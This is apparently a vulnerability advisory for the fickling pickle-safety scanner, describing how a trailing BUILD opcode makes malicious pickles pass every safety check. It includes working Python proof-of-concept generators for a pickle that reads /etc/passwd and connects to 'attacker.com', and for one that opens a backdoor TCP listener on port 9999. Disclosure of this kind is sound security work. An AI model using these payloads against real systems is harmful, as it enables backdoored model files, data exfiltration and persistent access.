PT-2026-23875 · Pypi · Fickling

Published

2026-02-25

·

Updated

2026-02-25

CVSS v4.0

5.3

Medium

VectorAV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

Assessment

It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

Original report

Summary

All 5 of fickling's safety interfaces — is likely safe(), check safety(), CLI --check-safety, always check safety(), and the check safety() context manager — report LIKELY SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:
  1. likely safe imports over-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encounters from smtplib import SMTP, it adds "SMTP" to the likely safe imports set because smtplib is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.
  2. OvertlyBadEvals exemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is in likely safe imports. So SMTP('attacker.com') is never flagged.
  3. setstate exclusion (fickle.py:443-446): BUILD generates a setstate call which is excluded from the non setstate calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

Affected APIs

  • fickling.is likely safe() - returns True for bypass payloads
  • fickling.analysis.check safety() - returns AnalysisResults with severity = Severity.LIKELY SAFE
  • fickling --check-safety CLI - exits with code 0
  • fickling.always check safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
  • fickling.check safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY SAFE:
python
import io, struct, tempfile, os

def sbu(s):
  """SHORT BINUNICODE opcode helper."""
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

def make exfiltration pickle():
  """
  Single pickle that:
   1. Reads /etc/passwd via fileinput.input()
   2. Opens TCP connection to attacker via smtplib.SMTP()
  Both operations pass as LIKELY SAFE.
  """
  buf = io.BytesIO()
  buf.write(b"x80x04x95") # PROTO 4 + FRAME
  payload = io.BytesIO()

  # --- Operation 1: Read /etc/passwd ---
  payload.write(sbu("fileinput") + sbu("input") + b"x93") # STACK GLOBAL
  payload.write(sbu("/etc/passwd") + b"x85")        # arg + TUPLE1
  payload.write(b"R")                     # REDUCE
  payload.write(b"}" + sbu(" x") + sbu("y") + b"s" + b"b") # BUILD
  payload.write(b"0")                     # POP (discard result)

  # --- Operation 2: Connect to attacker ---
  payload.write(sbu("smtplib") + sbu("SMTP") + b"x93")   # STACK GLOBAL
  payload.write(sbu("attacker.com") + b"x85")        # arg + TUPLE1
  payload.write(b"R")                     # REDUCE
  payload.write(b"}" + sbu(" x") + sbu("y") + b"s" + b"b") # BUILD
  payload.write(b".")                     # STOP

  frame data = payload.getvalue()
  buf.write(struct.pack("<Q", len(frame data)))
  buf.write(frame data)
  return buf.getvalue()

# Generate and test
data = make exfiltration pickle()
with open("/tmp/exfil.pkl", "wb") as f:
  f.write(data)

import fickling
print(fickling.is likely safe("/tmp/exfil.pkl"))
# Output: True <-- BYPASSED (file read + network connection in one pickle)
fickling decompiles this to:
python
from fileinput import input
 var0 = input('/etc/passwd')    # reads /etc/passwd
 var1 = var0
 var1. setstate ({' x': 'y'})
from smtplib import SMTP
 var2 = SMTP('attacker.com')    # opens TCP connection to attacker
 var3 = var2
 var3. setstate ({' x': 'y'})
result = var3
Yet reports LIKELY SAFE because every call is either in likely safe imports (skipped) or is setstate (excluded).
CLI verification:
bash
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0  # BYPASSED - file read + network access passes as safe
always check safety() verification:
python
import fickling, pickle

fickling.always check safety()

# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
  result = pickle.load(f)
# No exception raised — malicious code executed successfully
check safety() context manager verification:
python
import fickling, pickle

with fickling.check safety():
  with open("/tmp/exfil.pkl", "rb") as f:
    result = pickle.load(f)
# No exception raised — malicious code executed successfully

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:
python
import io, struct

def sbu(s):
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

def make backdoor listener():
  buf = io.BytesIO()
  buf.write(b"x80x04x95") # PROTO 4 + FRAME
  payload = io.BytesIO()

  # socketserver.TCPServer via STACK GLOBAL
  payload.write(sbu("socketserver") + sbu("TCPServer") + b"x93")

  # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
  payload.write(b"(")                  # MARK
  payload.write(sbu("0.0.0.0"))             # host string
  payload.write(b"J" + struct.pack("<i", 9999))     # BININT port
  payload.write(b"t")                  # TUPLE

  # Handler class via STACK GLOBAL
  payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"x93")

  payload.write(b"x86") # TUPLE2 -> (address, handler)
  payload.write(b"R")   # REDUCE -> TCPServer(address, handler)
  payload.write(b"N")   # NONE
  payload.write(b"b")   # BUILD(None) -> no-op
  payload.write(b".")   # STOP

  frame data = payload.getvalue()
  buf.write(struct.pack("<Q", len(frame data)))
  buf.write(frame data)
  return buf.getvalue()

import fickling, pickle, socket
data = make backdoor listener()
with open("/tmp/backdoor.pkl", "wb") as f:
  f.write(data)

print(fickling.is likely safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED

server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server close()
The TCPServer constructor calls server bind() and server activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
  • Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls server bind() and server activate(), so the port is open immediately after pickle.loads() returns.
  • Process persistence: signal.signal(SIGTERM, SIG IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.
  • Outbound exfiltration channels: smtplib.SMTP('attacker.com'), ftplib.FTP('attacker.com'), imaplib.IMAP4('attacker.com'), poplib.POP3('attacker.com') open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.
  • File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path as a side effect of the constructor.
  • Additional bypassed modules: glob.glob, fileinput.input, pathlib.Path, compileall.compile file, codeop.compile command, logging.getLogger, zipimport.zipimporter, threading.Thread
A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.
This affects any application using fickling as a safety gate for ML model files.

Suggested Fix

Restrict likely safe imports to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the OvertlyBadEvals exemption for likely safe imports or expand the UNSAFE IMPORTS blocklist to cover network/file/compilation modules.

Relationship to GHSA-83pf-v6qq-pwmr

GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to UNSAFE IMPORTS does NOT fix this vulnerability because the root cause is the OvertlyBadEvals exemption for likely safe imports (analysis.py:304-310), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include socketserver, signal, sqlite3, threading, compileall, and others beyond the scope of that advisory.

Fix

Incomplete List of Disallowed Inputs

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-MHC9-48GJ-9GP3

Affected Products

Fickling